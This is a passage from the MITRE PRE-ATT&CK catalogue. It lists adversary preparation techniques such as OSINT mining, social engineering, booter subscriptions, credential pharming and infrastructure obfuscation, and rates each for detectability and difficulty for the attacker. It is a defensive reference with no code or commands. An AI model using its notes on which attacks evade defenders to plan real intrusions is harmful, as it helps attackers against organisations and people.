Detectable by Common Defenses explanation: Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1079 |
Obtain booter/stressor subscription - PRE-T1173
Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1173 |
Analyze data collected - PRE-T1064
An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This can be done offline after the data has been collected.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Many of the common tools highlight these weaknesses automatically. Adversary can "dry run" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1064 |
Enumerate externally facing software applications technologies, languages, and dependencies - PRE-T1038
Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Basic interaction with the site provides insight into the programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1038 |
Generate analyst intelligence requirements - PRE-T1011
Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1011 |
Port redirector - PRE-T1140
Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1140 |
Identify business processes/tempo - PRE-T1057
Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1057 |
Build and configure delivery systems - PRE-T1124
Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1124 |
Identify personnel with an authority/privilege - PRE-T1048
Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1048 |
Mine social media - PRE-T1050
An adversary may research available open source information about a target commonly found on social media sites such as [https://www.facebook.com Facebook], [https://www.instagram.com Instagram], or [https://www.pinterest.com Pinterest]. Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Very public by design. Application of privacy settings is not a panacea.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1050 |
Credential pharming - PRE-T1151
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim’s computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1151 |
Identify gap areas - PRE-T1002
Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1002 |
OS-vendor provided communication channels - PRE-T1167
Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1167 |
Identify job postings and needs/gaps - PRE-T1055
Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Public source external to the defender’s organization.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Very public by design.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1055 |
Conduct social engineering - PRE-T1056
Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1056 |
Identify supply chains - PRE-T1053
Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Requires an intensive process. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1053 |
Identify analyst level gaps - PRE-T1010
Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1010 |
Compromise 3rd party infrastructure to support delivery - PRE-T1111
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1111 |
Obfuscate infrastructure - PRE-T1086
Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Difficult, but defender is well aware of technique and attempts to find discrepancies.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.) Adversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1086 |
Deploy exploit using advertising - PRE-T1157
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Exploits spread through advertising (malvertising) involve injecting malicious or malware-laden advertisements into legitimate online advertising networks and webpages. (Citation: TPMalvertising)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Although some commercial technologies are being advertised which claim to detect malvertising, it largely spreads unknowingly because it doesn’t always require an action by a user.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: An adversary can deploy exploits via malvertising using multiple mechanisms. Such mechanisms include an image ad that is infected, redirection, or using social engineering to get the end user to install the malicious software themselves.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1157 |
Map network topology - PRE-T1029
A network topology is the arrangement of the various elements of a network (e.g., servers, workstations, printers, routers, firewalls, etc.). Mapping a network allows an adversary to understand how the elements are connected or related. (Citation: man traceroute) (Citation: Shodan Tutorial)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Network mapping techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. Defender review of access logs may provide some insight based on trends or patterns.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting network topologies.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1029 |
Obfuscation or cryptography - PRE-T1090
Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc. All require sophisticated knowledge, infrastructure, and funding.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1090 |
Choose pre-compromised mobile app developer account credentials or signing keys - PRE-T1168
The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer’s identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1168 |
Spear phishing messages with text only - PRE-T1145
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1145 |
Test callback functionality - PRE-T1133
Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary controls or acquires all pieces of infrastructure and can test outside of defender’s visibility.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1133 |
Mine technical blogs/forums - PRE-T1034
Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Cannot detect access to public sites.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums. Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1034 |
Automated system performs requested action - PRE-T1161
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1161 |
Obtain/re-use payloads - PRE-T1123
A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1123 |
Conduct passive scanning - PRE-T1030
Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Generates no network traffic that would enable detection.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Easy to do but it requires a vantage point conducive to accessing this data.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1030 |
Analyze social and business relationships, interests, and affiliations - PRE-T1072
Social media provides insight into the target’s affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Public sources are external to the defender’s organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target’s affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1072 |
Network-based hiding techniques - PRE-T1092
Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1092 |
Friend/Follow/Connect to targets of interest - PRE-T1121
Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals. Performing activities like typical users, but with specific intent in mind.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1121 |
Disseminate removable media - PRE-T1156
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1156 |
Replace legitimate binary with malware - PRE-T1155
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1155 |
Acquire OSINT data sets and information - PRE-T1054
Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company). Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1054 |
Secure and protect infrastructure - PRE-T1094
An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Indistinguishable from standard security practices employed by legitimate operators.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1094 |
Determine firmware version - PRE-T1035
Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: No easy way for defenders to detect when an adversary collects this information.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1035 |
Develop KITs/KIQs - PRE-T1004
Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management’s intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1004 |
Research relevant vulnerabilities/CVEs - PRE-T1068
Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Public source external to the defender’s organization.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1068 |
Determine 3rd party infrastructure services - PRE-T1061
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1061 |
Untargeted client-side exploitation - PRE-T1147
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1147 |
Compromise 3rd party infrastructure to support delivery - PRE-T1089
Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1089 |
Discover target logon/email address format - PRE-T1032
Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1032 |
Exploit public-facing application - PRE-T1154
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1154 |
Assess KITs/KIQs benefits - PRE-T1006
Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1006 |
Obfuscate operational infrastructure - PRE-T1095
Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.
Links |
